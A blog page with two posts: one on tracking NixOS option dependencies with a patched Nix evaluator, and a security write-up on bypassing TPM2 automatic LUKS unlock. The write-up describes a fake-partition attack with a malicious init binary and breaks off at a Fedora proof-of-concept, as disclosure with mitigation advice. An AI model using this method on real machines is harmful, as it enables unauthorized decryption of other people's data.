oddlama's blog

Tracking NixOS option values and dependencies

Unknown — Sun, 22 Feb 2026 00:00:00 +0000

There are thousands of options in NixOS, but as users, we usually only interact with a select few of them. Despite that, a huge amount of those options does influence the final result in some way. Have you ever wondered which of them were actually relevant for your specific system?

If you are now asking yourself why you would need this information, think about what happens when you enable a random service, say services.immich.enable = true. Do you get new systemd services? A database maybe? Some nginx reverse proxy configuration? It's not super easy to tell without looking at the NixOS module definition. But even then, imagine the module is updated at some point. How do you know what will change when you update? Okay, you can dig through the git diff in nixpkgs and find out, too. But this is getting harder. Finally, think about what might happen when you decide to bump system.stateVersion. This requires careful consideration, as it may break your system. How do you know which of your services would be affected?

Now, if we just had more information about options and their values, we could immediately answer all of these questions. So this is exactly what I built.

TL;DR: By adding dependency tracking primitives to the Nix evaluator and hooking them into the NixOS module system, we can track which options depend on which other options during a real NixOS evaluation. This reveals the full dependency graph of your configuration, allows diffing option values between different system versions, and answers questions like "what would changing system.stateVersion actually affect on my system?"

Link to the GitHub repository: nixos-config-tui

🔗 A minimal example

Have a look at this minimal NixOS configuration.nix. It only sets options that are absolutely necessary so we can evaluate the result:

{
 boot.loader.grub.device = "nodev";
 fileSystems."/" = {
 device = "/dev/sda1";
 fsType = "ext4";
 };
 system.stateVersion = "25.11";
}

Just four options were used, right? Well, at the time of writing this post, a NixOS system built from this configuration evaluates a whopping 6293 option values that all could have an immediate impact on the resulting system toplevel if they were changed. Most of these options are either the default defined in one of the ~1100 NixOS modules or depend on the value of other options (e.g., enabling nextcloud adds a systemd service, user, group, ...).

Don't take that number of options too seriously though, the exact value depends a lot on what you count as an option. The current tracking implementation doesn't know anything about "options" in the sense of what is created by calling mkOption. Instead it just traces accesses to anything and everything that is part of the fixpoint evaluation, no matter whether it is an attribute from options, config, pkgs or something else. The value 6293 comes from heavily filtering the list of all accesses to roughly match option boundaries introduced by mkOption, but my filter is certainly not perfect. Counting all attribute accesses we would arrive at roughly 33.1k values that play a role somehow, with over 150k dependencies between them. But that number includes a lot of things internal to the NixOS module evaluator.

If we were generally able to track which options influence which other options, we could gather all values that contribute to the toplevel and build a dependency graph of the entire evaluation. Rendering that graph for the above NixOS configuration (and adding some colors for the top-level option paths), looks like this:

There's a lot to unpack here. Since this was originally graphed in 3D, the screenshot doesn't really do it justice. If you want to explore this yourself, you can download the corresponding .dot file and import it into graphia. We can observe several bigger clusters that get influenced by a lot of smaller nodes:

environment.etc (the top lobe)
systemd.services on the left hand side pulling in many of the service enable options in blue
The toplevel iself (bottom lobe) pulling in some services a lot from users.users and users.groups
Accesses to pkgs (light blue block on right)
suid wrappers (the pink-ish block on the bottom right)
warnings (on the back side, not visible in this picture)
and assertions (green blob in the middle)

In any case, this is still only counting values that are actually used during evaluation! As you might know, most options are gated behind an .enable flag of some service or more generally some kind of mkIf in a module. Those will not be shown as they are not contributing to the result (changing them would have no effect).

🔗 We already have nix-diff

and that's great! nix-diff is an awesome tool which I use a lot to see what has changed in terms of derivations or file content. This usually gives enough information to reason about whether changing an option had a relevant effect on the resulting system. But the diff can become unwieldy, especially when doing a larger system update with many package upgrades. Then, even if the NixOS options didn't change at all, the new package versions will cause thousands of changes to the derivation chain due to new store hashes.

To gain a better understanding of what really changed semantically, we need to be able to diff option values directly on the config level. I want to know whether the definition of my services.nginx.virtualHosts has changed and what caused the change, not just the effect on the resulting config file.

Tracking values at the configuration-level and tracking changes at the derivation level with nix-diff are fundamentally different tasks, and which one is better depends a lot on what you want to analyze.

🔗 Exploring and diffing configurations

Without going too much into detail, I want to give you a rough overview of what is happening. The big challenges here are that this tracking must work without adjusting any code in the NixOS modules, otherwise tracking support would need to be added to each module individually. And secondly performance... My prior attempts at implementing this were so atrocious, I aborted evaluation after half an hour of waiting. So now it works like this:

A patch for nix adds a few new primitives and code to the evaluator which allows us to remember why and in which context a thunk was evaluated (in functional languages, a thunk is a value that is yet to be evaluated). We don't interfere with how this happens, we only observe when it happens. So later we still know what caused a value to be evaluated.
A slight change to the NixOS module system will enable tracking for values accessed when the configuration is evaluated. The main part of the module system is a kind of fixpoint iteration where the final configuration value is calculated and can depend on itself. This is why you can access the final config values in your configuration while you are technically still writing the configuration. Nix automatically evaluates this self-recursive construct until the result is stable.
The resulting list of what got accessed by what can be queried via another added builtin and will by default be written to a JSON file tracking-deps.json in the toplevel, next to the activation script. This ensures we don't lose the information after the evaluation has finished and the system is deployed.
Now, we also know all configuration values that were relevant for our system, so we serialize that into a secondary JSON file tracking.json. And finally to make our lives a bit easier later on, we add a preprocessed variant of this JSON tracking-explicit.json which only includes values that were set explicitly, i.e. are not the default value implied by the mkOption definition.

To enable all of this in a NixOS configuration, all that needs to be done is to set trackDependencies = true when calling lib.nixosSystem (and use the patched nix version of course):

{
 nixosConfigurations.host1 = nixpkgs.lib.nixosSystem {
 trackDependencies = true; # ← enable tracking
 system = "x86_64-linux";
 modules = [ ./configuration.nix ];
 };
}

To make exploration and diffing these JSON files simple, I've included a utility called nixos-config which can be used to interpret the tracking information and option values. If you remember the minimal configuratoin from the beginning, we can now explore it by calling it on the toplevel path using

nixos-config show /nix/store/iq7v04w69321k9pgp3zysszwgyaz9s4m-nixos-toplevel-tracked

The toplevel can also be given using a flake reference like nixos-config show .#host1 which will have the advantage that the resulting system doesn't need to be built, but it requires the configuration source. In both cases, this will open a TUI interface:

In this TUI above we can see that system.stateVersion was only accessed by system.build.toplevel and nothing else, so we immediately know that no services depend on that value in our configuration.

So let's modify our configuration and add a service which does depend on system.stateVersion. I've chosen immich, a popular self-hosted photo library which requires postgresql. And postgresql depends on system.stateVersion to avoid system breakage when major versions are bumped.

{
 boot.loader.grub.device = "nodev";
 fileSystems."/" = {
 device = "/dev/sda1";
 fsType = "ext4";
 };
 system.stateVersion = "25.11";

 services.immich.enable = true;
}

Now let's look at the same option in the TUI of the new configuration:

By looking at the reverse dependencies, it immediately becomes clear that postgresql's package version depends on system.stateVersion! The TUI also features an integrated diff, so if we want to explore exactly what has changed between the two configurations, we can invoke nixos-config diff OLD NEW and will see something like this for our example:

Unless the filter mode is changed, the TUI will show only options that changed their value (or were newly evaluated or removed) in comparison with the original configuration. I've focused services.postgresql here, which itself is not actually a value that is directly accessed, so it shows no dependencies. But you can clearly see that three services got added. We can now dig in and see that services.postgresql.enable newly depends on the value of services.immich.database.enable, which is the reason why it got enabled.

If that is too detailed and you just want to see the diff between two configurations as pseduo configuration.nix files, there's nixos-config text-diff. In explicit mode, it will only show values that are not set by mkOption defaults, so a large diff becomes digestible:

🔗 Try it yourself

If you want to try this on your own NixOS configuration, you'll need the patched Nix evaluator and a patched nixpkgs which integrates this into the module system. You do not need to upgrade or change your system's nix daemon. Since all changes are in expression evaluation, it suffices to run the patched nix CLI. I've already prepared everything in my forks so you can just follow a few simple steps:

Enter a shell with the the patched nix binary and the nixos-config utility:

nix shell github:oddlama/nix/thunk-origins-v1 github:oddlama/nixpkgs/thunk-origins-v1#nixos-config

Define a host using the patched nixpkgs repo and set trackDependencies = true. An example flake is attached below, but of course you can also temporarily switch to my nixpkgs fork in your actual configuration. Just beware that I have to manually rebase the branch sometimes, so it will probably be tracking something in-between master and nixos-unstable.

# flake.nix
{
 inputs.nixpkgs.url = "github:oddlama/nixpkgs/thunk-origins-v1";
 outputs = { self, nixpkgs }: {
 nixosConfigurations.host1 = nixpkgs.lib.nixosSystem {
 system = "x86_64-linux";
 trackDependencies = true;
 modules = [{
 boot.loader.grub.device = "nodev";
 fileSystems."/" = {
 device = "/dev/sda1";
 fsType = "ext4";
 };
 system.stateVersion = "25.11";
 }];
 };
 };
}

If you don't want to use flakes, you can also clone https://github.com/oddlama/nixpkgs to ./nixpkgs, enter the thunk-origins-v1 branch and call eval-modules.nix directly:

direct evaluation (click to expand)

# toplevel.nix
let
 nixpkgs = import ./nixpkgs { };
 lib = nixpkgs.lib;
in import ./nixpkgs/nixos/lib/eval-config.nix {
 inherit lib;
 trackDependencies = true;
 modules = [{
 boot.loader.grub.device = "nodev";
 fileSystems."/" = {
 device = "/dev/sda1";
 fsType = "ext4";
 };
 system.stateVersion = "25.11";
 }];
}

Build the tracked configuration to store the tracking information permanently. Beware that this evaluation will take about 10-20 seconds longer than what you are used to.
```
nix build --print-out-paths .#nixosConfigurations.host1.config.system.build.toplevel
# remember the output path
```

Change the configuration slightly and rebuild the tracked configuration. to store the tracking information permanently

# edit the configuration and rebuild:
nix build --print-out-paths .#nixosConfigurations.host1.config.system.build.toplevel
# remember the output path

Explore a single configuration or diff the configs:

# explore one of the built toplevels from before
nixos-config show /nix/store/xyz-toplevel-tracked
# show from ad-hoc evaluation (flakes only)
nixos-config show .#host1
# diff two toplevels
nixos-config diff /nix/store/abc-toplevel-tracked /nix/store/def-toplevel-tracked
# diff two toplevels, hide options values that are defaults
nixos-config diff --explicit /nix/store/abc-toplevel-tracked /nix/store/def-toplevel-tracked
# diff two toplevels textually, hide options values that are defaults
nixos-config text-diff --explicit /nix/store/abc-toplevel-tracked /nix/store/def-toplevel-tracked

The raw information from the tracking (values, dependencies, graphviz, ...) is also available in .#nixosConfigurations.host1.dependencyTracking, after forcing the evaluation of the toplevel with buildins.seq.

The rest of the blog post is about implementation details, so you can skip ahead to the Conclusion if you are not interested in that.

🔗 Previous attempts

I've had three attempts at implementing option tracking, and I failed twice before arriving at something that worked. In case you are interested in how that went, I've summarized them here briefly.

Attempt 1: Full evaluation graph. The simplest idea was to track every single primitive operation during evaluation. Every attribute access, every function application, every + or //. This would give a complete evaluation trace from which dependencies could be extracted. Simple to implement but horrid performance. I aborted evaluation for a basic NixOS config after 30 minutes and it was nowhere near done. The sheer number of operations in a full NixOS evaluation makes this approach completely impractical.

Attempt 2: Global access-tracking attrsets. The next idea was more targeted: only track attribute accesses on specific attrsets (like config). Basically, when you call foo.bar, foo would record that bar was accessed in a global map. A second builtin would set an "accessor ID", a global variable indicating who is currently being evaluated.

Performance was ok-ish and I didn't spend time optimizing it at all. But I was already unsatisfied with the approach because of two problems. First, the global map is impure. Once evaluation is done, any further access to config, even just printing the result, would record additional spurious dependencies. Second, and more fundamentally: because Nix evaluates thunks lazily, the "current accessor" at the time a thunk is actually forced might be completely wrong. If thunk A triggers the evaluation of thunk B (which accesses config.x), the access gets attributed to A, not to B where the code actually lives. As soon as more complex expressions were involved, this approach would fail to attribute accesses to the correct scope.

Attempt 3: Thunk-embedded origins. So third time's the charm apparently, haha. I wanted a generic and pure implementation this time, so it can reliably track things regardless of thunk evaluation order or access order. This is the approach that worked out in the end. I'll glance go over the implementation below.

🔗 Thunk-embedded origins

Instead of using a global variable to track who is being evaluated, we embed the origin information directly in each thunk.

When a thunk is created, we tag it with its identity which is the option path it represents. When that thunk is later forced by Nix, it pushes its own identity as the "current accessor" onto a context stack. Any attribute accesses on tracked attrsets during that evaluation are then correctly attributed to this thunk. When the evaluation finishes, the context is popped from the stack.

This has two important properties:

It respects laziness. Dependencies are only recorded when values are actually forced. Unforced thunks contribute nothing.
It correctly attributes accesses to where they are written, not where they are triggered. If thunk A causes thunk B to be evaluated, accesses during B's evaluation are attributed to B, because B pushes its own origin onto the stack. This matches how you would think about the code when reading it - the accessor is determined at definition time, not at force time.

To see where this matters we need to look at an non-trivial example. Basically imagine there is an option that is a function. I'll omit option definitions here for brevity.

{config, ...}: {
 nproc = 10;
 add = a: b: a + b;
 addNproc = config.add config.nproc;
 nprocPlus2 = config.addNproc 2;
}

Here we have a mix of values and accesses between them. There are constants (nproc), a function add which evaluates two parameters and uses their value, addNproc which creates a new function with only one parameter by accessing the add function and applying our constant and finally a result nprocPlus2 which calls this second function.

The NixOS module evaluator would make sure each of these is tagged with its ["nproc"], ["add"], ["addNproc"], and ["nprocPlus2"] respectively. They are lists so we can represent nested attribute paths. Now, when something forces nprocPlus2, we need to make sure that accesses are attributed at the location of definition not the location where the value is forced. So what happens is:

The thunk for nprocPlus2 is forced. It pushes ["nprocPlus2"] as the accessor context.
It accesses config.addNproc → dependency recorded: nprocPlus2 → addNproc
Accessing addNproc forces its thunk, which pushes ["addNproc"] as the new accessor context.
Inside addNproc, config.add is accessed → dependency: addNproc → add
Now config.nproc is accessed inside the add function. Notice that nprocPlus2 does not directly depend on nproc. That access happened inside addNproc's evaluation, so it was correctly attributed to addNproc.
addNproc finishes, pops its context.
Back in nprocPlus2, the function application returns 12.
nprocPlus2 finishes, pops its context.

So the recorded dependencies are:

nprocPlus2 → addNproc
addNproc → add
addNproc → nproc

🔗 New builtins

Disclaimer: I am not very familiar with the nix codebase and the patch was partly generated by Claude. So this should really be inspected by someone with a deeper knowledge of nix to verify that I didn't make a grave mistake somewhere. Do NOT use this in production, while all internal tests do pass, I can't guarantee that I didn't break some hidden invariant.

The implementation adds several new builtins to Nix, designed for a two-phase setup that works at least with the NixOS module system's evaluation order. I tried make the design as generic as possible, so it should work with all kinds of fixpoint evaluations.

builtins.createTrackingScope creates a new, independent tracking scope and returns its ID. The scope exists independently from any attrset, allowing it to be created before the tracked config is built. This is important for breaking the circular dependency in the module system, where config depends on option values that need to be tagged with the scope ID.
builtins.registerTrackedAttrset scopeId attrset associates an attrset with an existing scope. Any attribute accesses on this attrset (or sub-attrsets encountered during evaluation) will be recorded as dependencies.
builtins.tagThunkOrigin scopeId path thunk tags a thunk with an origin path. When that thunk is later forced, it pushes the path as the accessor context. The thunk is returned unchanged (it is not forced).
builtins.tagAttrThunkOrigin scopeId path attrName attrset is similar, but tags a specific attribute's thunk directly within the attrset's internal Bindings structure. This avoids creating a wrapper thunk, which is important to remove internal .value intermediaries added by the NixOS module evaluator.
builtins.getDependencies scopeId returns all recorded dependencies for a scope as a list of { accessor = [...]; accessed = [...]; } records.
builtins.tryCatchAll expr is a helper similar to tryEval, but catches all evaluation errors including missing attributes, type errors, and abort. It also deeply evaluates its argument before returning.

Using these primitives, a simple tracking example looks like this:

let
 fix = f: let x = f x; in x;
 scopeId = builtins.createTrackingScope;
 config = fix (self: {
 base = 10;
 helper = x: x + self.base;
 impl = self.helper 42;
 });
 _ = builtins.registerTrackedAttrset scopeId config;
 # Force impl to trigger evaluation
 _ = builtins.seq config.impl true;
in builtins.getDependencies scopeId
# Result:
# [ { accessor = ["impl"]; accessed = ["helper"]; }
# { accessor = ["helper"]; accessed = ["base"]; } ]

🔗 Edge cases

There are surprisingly many edge cases that need to be taken care of to ensure we get a properly connected dependency graph (and I'm certain that I still missed a ton more). Let me go over some of them.

🔗 Auto-registration of sub-attrsets

We need tracking to automatically propagate into nested attrsets. When a tagged thunk is forced and produces an attrset, the evaluator should automatically register that attrset and tag its member thunks (without overwriting any existing explicit tags). This allows accessing config.services.nginx.enable to work correctly even though only the top-level config was explicitly registered. The intermediate attrsets services and nginx are registered on-the-fly as they are encountered during evaluation.

Additionally, ExprSelect::eval (the code path for a.b.c attribute selections) records dependencies at each intermediate step, not just for the final path. Without this, sub-attrset accessor nodes would become disconnected in the dependency graph. For example, boot.kernelPackages.kernel.features would not show edges for the intermediate boot.kernelPackages and boot.kernelPackages.kernel nodes.

🔗 Issues with wrapper thunks

One subtle issue I ran into during the nixpkgs integration is that the NixOS options tree contains option records which are attrsets with attributes like .value, .isDefined, .type, etc. We want to tag each option's .value thunk with the option path (e.g., ["users" "users"]), so that when the value is forced, accesses are attributed to that option.

My first approach was something like:

opt // { value = builtins.tagThunkOrigin scopeId loc opt.value; }

But this creates a new attrset with a wrapper thunk for the value attribute. The wrapper thunk is the expression { value = tagThunkOrigin ... } itself. When the auto-registration later encounters this attrset and tags its member thunks, the wrapper gets tagged with ["opt" "path" "value"], but we wanted ["opt" "path"] without the trailing "value". Otherwise, dependency paths look like users.users.value.nixbld11 instead of the correct users.users.nixbld11.

The fix was to add builtins.tagAttrThunkOrigin, which tags the actual Value* stored in the attrset's internal Bindings structure. Since auto-registration preserves existing tags (getThunkOrigin check), the correct origin is set before auto-registration ever sees it.

Feels a bit hacky though.

🔗 Integration with the NixOS module system

The nixpkgs changes are pretty minimal, most of my changes are related to graphviz generation. Only lib/modules.nix and the eval-config files have relevant changes. And importantly, none of the actual NixOS module had to be modified.

When evalModules is called with trackDependencies = true:

A tracking scope is created before config is built (two-phase setup to break the circular reference between scope ID and config).
tagOptionsRecursive walks the merged options tree. At each option node, tagAttrThunkOrigin tags the .value attribute's thunk with the option's path.
Both config and options attrsets are registered as tracked.
When any option value is forced during evaluation, its origin path becomes the accessor context, and any accesses to other tracked attributes are recorded.
The result includes _dependencyTracking.getDependencies to retrieve all recorded edges.

Here's how the tagOptionsRecursive function looks:

tagOptionsRecursive = pfx: opts:
 mapAttrs (name: opt:
 let loc = pfx ++ [ name ];
 in if isOption opt
 then builtins.tagAttrThunkOrigin trackingScopeId loc "value" opt
 else tagOptionsRecursive loc opt
 ) opts;

It walks the options tree and whenever it finds an option node (recognized by _type = "option"), it tags the .value attribute's thunk in-place with the option path. Non-option attrsets are recursed into.

Additionally, eval-config.nix wraps the output so that config.system.build.toplevel transparently includes tracking data as JSON files. The inner toplevel is evaluated first via builtins.seq (which records all dependencies), and then the tracking data is serialized alongside the system closure.

🔗 Filtering out some of the noise

The raw dependency data contains over 150k edges for the basic configuration from the beginnging, and includes access to a lot of the internal attributes created by the NixOS module system, or come from accesses to _module.args.pkgs which are not actually options but appear because the pkgs specialArg refers to config._module.args.pkgs and config is tracked wholistically.

Other noise comes from type checking, value merging, resolving priorities, and so on. A post-processing step in dependency-tracking.nix filters this down to something more meaningful, but I know there's still some unnecessary stuff left over.

🔗 Config value serialization

Beyond the dependency graph, the system also serializes the actual config values for all "leaf" options. Before we can save that as JSON though, we need to filter out some of the stuff that cannot be serialized into JSON like derivations, functions and paths which are replaced with <derivation:name>, <function> and <path:...> placeholders.

Each value is wrapped in builtins.tryCatchAll to safely handle evaluation errors. Quite often there is stuff that cannot be evaluated in a representable form, for example assertions or warnings. The messages in there often contain string interpolations like "${fileSystems'.cycle}" that throws missing-attribute errors when the assertion passes, as the message can only be safely evaluated when the assertion fails. Unfortunately, tryEval cannot catch these, but tryCatchAll can.

🔗 Limitations

There's definitely stuff I missed. If you are trying this out yourself and happen find a bug or something interesting, please open an issue, or just send it to me directly on Matrix. I'll probably gather a bunch of issues for a follow-up at some point.

🔗 List accesses

Accesses inside list literals are not fully tracked. When you write [ config.x ], the list elements become thunks that are forced after the tracking context for the surrounding expression has been popped. This doesn't occur super often in NixOS though, so I didn't implement this properly yet.

🔗 No full provenance tracking

Originally I planned to include full provenance information, because ideally I'd like to know the actual file, line and column where the value for a specific option came from. Sounds reasonably simple at first to just attach that information, but when the thunk origin information is added by our new builtins, I didn't find a way to access this provenance information. For example when a literal like 42 is parsed, it quickly becomes a plain integer without any way to attach additional information. So the source location is already lost.

Adding this would be another bigger change in nix, and I didn't want to spend more time on this for now.

🔗 Conclusion

I found it quite interesting to see just how many options are actually involved in building a NixOS configuration. Diffing NixOS configurations on the configuration level itself is something I wanted to have for a long time, and I hope this serves well as a Proof-of-concept, showing that it is both possible and feasible! It does come with a noticeable performance impact, but only if you actually enable trackDependencies = true.

I'm sure there are many ways in which this information could be used that I haven't thought of yet, so please share your ideas!

But there is more work to be done. As outlined before, I would love to have proper provenance that tells me exactly where values were defined, and apart from the known limitations there are certainly still bugs and edge-cases that need to be found. But even in its current state, I've found the tracking data to be genuinely useful for understanding how my NixOS configurations change over time.

If you'd like to send me feedback or just reach out, feel free to contact me on Matrix!

Discussion threads for this post:

NixOS Discourse

Bypassing disk encryption on systems with automatic TPM2 unlock

Unknown — Thu, 16 Jan 2025 00:00:00 +0000

Have you setup automatic disk unlocking with TPM2 and systemd-cryptenroll or clevis? Then chances are high that your disk can be decrypted by an attacker who just has brief physical access to your machine - with some preparation, 10 minutes will suffice. In this article we will explore how TPM2 based disk decryption works, and understand why many setups are vulnerable to a kind of filesystem confusion attack. We will follow along by exploiting two different real systems (Fedora + clevis, NixOS + systemd-cryptenroll).

# Examples commands used to enroll a key into the TPM. Whether your system is
# suffers from this issue does not depend on which PCRs you choose here.
systemd-cryptenroll --tpm2-pcrs=0+2+7 --tpm2-device=auto <device>
clevis luks bind -d <device> tpm2 '{"pcr_bank":"sha256","pcr_ids":"0,1,2,7"}'

TL;DR: Most TPM2 unlock setups fail to verify the LUKS identity of the decrypted partition. Since the initrd must reside in an unencrypted boot partition, an attacker can inspect it to learn how it decrypts the disk and also what type of filesystem it expects to find inside. By recreating the LUKS partition with a known key, we can confuse the initrd into executing a malicious init executable. Since the TPM state will not be altered in any way by this fake partition, the original LUKS key can be unsealed from the TPM. Afterwards, the initial disk state can be fully restored and then decrypted using the obtained key.

You are safe if you additionally use a pin to unlock your TPM, or use an initrd that properly asserts the LUKS identity (which would involve manual work, so you'd probably know if that is the case).

🔗 The idea behind TPM2 based disk decryption

The idea behind secure and password-less disk decryption is that the TPM2 can store an additional LUKS key which your system can only retrieve, if the TPM is in a predetermined, known-good state. This state is recorded in the so-called Platform Configuration Registers (PCRs), of which there are 24 in a standard compliant TPM. Their intended use is described in the Linux TPM PCR Registry but also neatly summarized as a table in the systemd-cryptenroll(1) man page.

These registers store hashes which are successively updated while booting based on information like the bootlaoder hash, the firmware in use, the booted kernel, initrd image and a lot more things. By establishing a chain of trust through all components involved in booting up to the linux userspace, we can ensure that altering any component will affect one or several PCRs. Storing data in the TPM requires you to select a list of PCRs and it will ensure that the data can only be retrieved again if all of these PCRs are in the same state as when enrolling the secret.

Several of these registers have an agreed-upon purpose and are updated with some specific information about your system, such as your board's firmware, your BIOS configuration, OptionROMs (extra firmware loaded from external devices such as PCIe devices after POST), the secure boot policy, or other things. Here's an excerpt from the man page from above containing some of the registers that are important to us:

PCR	Name	Explanation
0	platform-code	Core system firmware executable code; changes on firmware updates
2	external-code	Extended or pluggable executable code; includes option ROMs on pluggable hardware
7	secure-boot-policy	Secure Boot state; changes when UEFI SecureBoot mode is enabled/disabled, or firmware certificates (PK, KEK, db, dbx, …) changes.
15	system-identity	systemd-cryptsetup(8) optionally measures the volume key of activated LUKS volumes into this PCR. systemd-pcrmachine.service(8) measures the machine-id(5) into this PCR. systemd-pcrfs@.service(8) measures mount points, file system UUIDs, labels, partition UUIDs of the root and /var/ filesystems into this PCR.

Below this list, an interesting piece of information is given in the man page about the intended use of PCRs for encrypted volumes:

In general, encrypted volumes would be bound to some combination of PCRs 7, 11, and 14 (if shim/MOK is used). In order to allow firmware and OS version updates, it is typically not advisable to use PCRs such as 0 and 2, since the program code they cover should already be covered indirectly through the certificates measured into PCR 7. Validation through certificates hashes is typically preferable over validation through direct measurements as it is less brittle in context of OS/firmware updates: the measurements will change on every update, but signatures should remain unchanged. See the Linux TPM PCR Registry for more discussion.

If you enroll your own secure boot keys and use a Unified Kernel Image (UKI), then using just PCR 7 will be sufficient to ensure integrity up to the point where we need to unlock our disk. Some distributions instead ship EFI executables that are pre-signed with the Microsoft keys, which allows them to enable secure boot by default without requiring the user to generate and enroll anything on their own. Since this also means that the user cannot sign their kernel and/or initrd image, a trusted and pre-signed shim is often used to measure the hash of the kernel and initrd before executing them into PCR 9, which we would want to use in that case. Another approach is to have the user generate a so-called Machine Owner Key (MOK) if they want to sign something, in which case PCR 14 should be used, too.

So the exact PCR selection may change a bit depending on the user's setup. A quick search on GitHub or on the internet reveals that many people still opt to use additional PCRs like 0 and 2 in addition to 7, which is of course fine but may result in keys becoming inaccessible when the BIOS or some firmware is updated - which can be annoying.

🔗 A common (vulnerable) setup

If you already have secure boot set up, configuring TPM2 unlock for your LUKS partition is usually very simple. Most guides will resort to systemd-cryptenroll or clevis which are different implementations that internally do some variation of the following:

Add a newly generated key to your LUKS partition
Seal this key in your TPM based on your selection of PCRs
Store the encrypted TPM context in the LUKS token metadata which is required to unseal the secret at a later point in time

Both clevis and systemd-cryptenroll can store tokens in other ways than a TPM2, for example using a FIDO2 key. I found that clevis also supports retrieving tokens from network resources, but other than that the two tools are very similar in what they do. systemd-cryptenroll just comes pre-packaged with systemd so it is usually a bit simpler to use. Here is an example:

systemd-cryptenroll --tpm2-pcrs=7 --tpm2-device=auto /dev/nvme0n1p3

In theory, the disk is now properly protected, assuming the kernel command line cannot be edited, right? It can only be decrypted if PCR 7 is unchanged, and anything we would do to the bootloader, kernel or initrd would affect PCR 7.

Well, of course, I wouldn't be asking if there wasn't a tiny caveat: Assuming all disks were mounted properly, the initrd can be certain that no code has been modified up to this point. But it does not automatically ensure that the data on them is authentic. As the very last step, the initrd will execute the init executable of the real system, which usually doesn't undergo any kind of signature check before it is executed. And why would it have to - after all it is part of the encrypted root partition which cannot be altered by an attacker.

🔗 The exploit

First of all, it is important to know that the initrd will fall back to a password prompt, if TPM unlocking fails for whatever reason. A BIOS update could always cause the secure boot database to be altered (thus invalidating PCR 7), or somebody makes a mistake when updating the system and forgets to sign the kernel and initrd properly. In such a case you don't want to be locked out from your system completely, so asking for the password is a sane thing to do.

But that also means if we replace the encrypted partition with a new LUKS partition (for which we choose the password), then the TPM decryption will fail and we will be asked for the password, which we control. After entering the password, the initrd will now think it has decrypted the partition correctly and proceed. If we manage to put the correct kind of filesystem inside of our fake LUKS partition so that the actual mounting succeeds, we can ship a malicious init binary that now has full access to the unlocked TPM, thus allowing us to decrypt the original filesystem, which we would have to backup before creating our malicious partition.

Now you might think the initrd can simply verify the filesystem UUID before mounting it since we cannot read it from the disk, but remember that anything the initrd knows is public knowledge, as the boot partition and initrd image are not encrypted. So we can just reuse the same LUKS UUID and filesystem UUID if necessary.

🔗 Securing the system

To solve this, we need to be able to authenticate all encrypted volumes before accessing any file on them. In this article by Lennart Poettering from October 2022, where he describes the state of secure boot in systemd, he mentions what the process should look like to make the system secure. It is a bit involved so let me reiterate the important part.

After a disk has been unlocked, we want to derive a value from its volume key (the master key used to encrypt all its data) and use this value to extend PCR 15. This ensures that any fake volume would change this value since the original volume key cannot be known. Using systemd-cryptsetup instead of cryptsetup can already take care of this by adding tpm2-measure-pcr=yes to the crypttab file.

If we now ensure that the disk decryption order is deterministic, then we can compare the value in PCR 15 against a known and signed value in the initrd. If the wrong value is observed, the initrd can now abort the boot process before executing anything malicious.

🔗 Many broken guides

There are loads of guides that describe in more detail how to setup TPM2 based disk unlocking, and while the concept is always the same, you will certainly find one adjusted to your favorite distribution. Here's a list of guides that I found online, sorted by date:

Secure Boot & TPM-backed Full Disk Encryption on NixOS (2024/04, NixOS, systemd-cryptenroll, EDIT: updated 💙)
[HowTo] Using Secure Boot and TPM2 to unlock LUKS partition on boot (2024/01, Manjaro, systemd-cryptenroll)
[GUIDE] Setup TPM2 Autodecrypt (2023/10, Unspecified, systemd-cryptenroll, Misuse of PCR 15)
Debian with LUKS and TPM auto decryption (2023/09, Debian, systemd-cryptenroll)
Gentoo Wiki - Trusted Platform Module/LUKS (2023/05, Gentoo, clevis)
Safe automatic decryption of LUKS partition using TPM2 (2023/01, Fedora, clevis, fedoramagazine)
The ultimate guide to Full Disk Encryption with TPM and Secure Boot (2022/04, Debian, tpm2-initramfs-tool)
Decrypt LUKS volumes with a TPM on Fedora Linux (2022/03, Fedora, systemd-cryptenroll)
ArchWiki/User:Krin/Secure Boot, full disk encryption, and TPM2 unlocking install (2021/09, Arch Linux, systemd-cryptenroll)

Unfortunately, I did not find any guide that addresses this, so most user setups are probably suffering from this issue. Though in all fairness, whether this is an issue to you obviously depends on your threat model. If you are using the TPM just to unlock your home server which nobody else has physical access to, then maybe this is a non-issue to you. But if you use this to protect the data on your laptop against theft, then chances are you want to set a TPM pin or implement PCR 15 verification as explained above.

Notably, I found that the ArchWiki entry of systemd-cryptenroll acknowledges this issue in a warning near the end of the article:

Only binding to PCRs measured pre-boot (PCRs 0-7) opens a vulnerability from rogue operating systems. A rogue partition with metadata copied from the real root filesystem (such as partition UUID) can mimic the original partition. Then, initramfs will attempt to mount the rogue partition as the root filesystem (decryption failure will fall back to password entry), leaving pre-boot PCRs unchanged. The rogue root filesystem with files controlled by an attacker is still able to receive the decryption key for the real root partition. See Brave New Trusted Boot World and BitLocker documentation for additional information.

And while this is correct, just using any of the PCRs 8-23 doesn't automatically protect your data either. The initrd still has to ensure that the respective PCR is changed before executing the system's init binary, which is not done by default.

🔗 Proof-of-concept exploitation of a Fedora machine

Now, let's have a look at a real system which we will setup in a similar way to how anyone else would have done it. I've picked one of the Fedora articles above, but you can expect this to work for all of the other distributions, too. In summary, my setup included the following steps:

Install Fedora 41, I chose an encrypted root with ext4 on LUKS
Enable secure boot in the BIOS (and install the Microsoft keys since Fedora is signed with those keys)

An interesting thing we notice right away is that the Fedora bootloader is signed using the Microsoft keys. We've already briefly talked about this in the beginning, this means it cannot sign the initrd at all. Instead, they have a signed shim that is executed after the bootloader which will calculate hashes of the kernel and initrd and extend PCR 9 with those values. Therefore, it is critical that we now include PCR 9 in our selection when enrolling the key to the TPM, otherwise the initrd could just be modified.

This approach has the advantage that the user doesn't have to deal with custom secure boot keys, but the downside is that every kernel or initrd update will affect the value in PCR 9, thus requiring us to re-enroll the key after rebooting on each system update. Here is a snapshot of my PCRs when I enrolled the key into the TPM. This is also the state that we need to reach later to succeed.

[root@localhost]# systemd-analyze pcrs
NR NAME SHA256
 0 platform-code 8c2af609e626cc1687f66ea6d0e1a3605a949319514a26e7e1a90d6a35646fa5
 1 platform-config 299b0462537a9505f6c63672b76a3502373c8934f08a921e1aa50d3adf4ba83d
 2 external-code 3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969
 3 external-config 3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969
 4 boot-loader-code 5fdbd66c267bd9513dbc569db0b389a37445e1aa463f9325ea921563e7fb37eb
 5 boot-loader-config 38a281376260137602e5c70f7a9057e4c55830d22a02bb5a66013d6ac2576d2f
